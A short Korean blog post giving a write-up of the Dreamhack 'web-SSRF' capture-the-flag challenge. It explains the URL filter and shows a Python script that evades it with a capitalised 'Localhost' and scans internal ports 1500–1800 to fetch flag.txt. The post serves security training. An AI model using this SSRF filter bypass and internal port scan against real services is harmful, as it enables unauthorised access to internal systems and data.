[Dreamhack] web-SSRF

sy46·2023년 9월 25일
0

dreamhack

목록 보기
16/20

web-SSRF

코드 해석을 해보면
먼저 url을 분석하는데, url의 첫 번째 글자가 "/"라면 그냥 localhost + url이 출력된다.
"/"가 아니고, 만약 url에 localhost나 127.0.0.1이 존재한다면 error.png를 출력한다.
만약 둘 다 아니라면 url을 읽어 base64로 인코딩된 값을 보여준다. 다음으로 봐야할 부분은 포트넘버이다.
localhost에 열린 포트가 1500 ~ 1800 사이에 존재한다고 하니 열려있는 포트를 찾아야한다.

그래서 짠 코드는 아래와 같다.

import requests

url = "http://host3.dreamhack.games:21428/img_viewer"

for i in range(1500, 1801):
    img = f"http://Localhost:{i}/flag.txt"
    data = {"url":img}
    res = requests.post(url, data=data)
    if "iVBORw0KG" not in res.text:
        print(res.text)    

0개의 댓글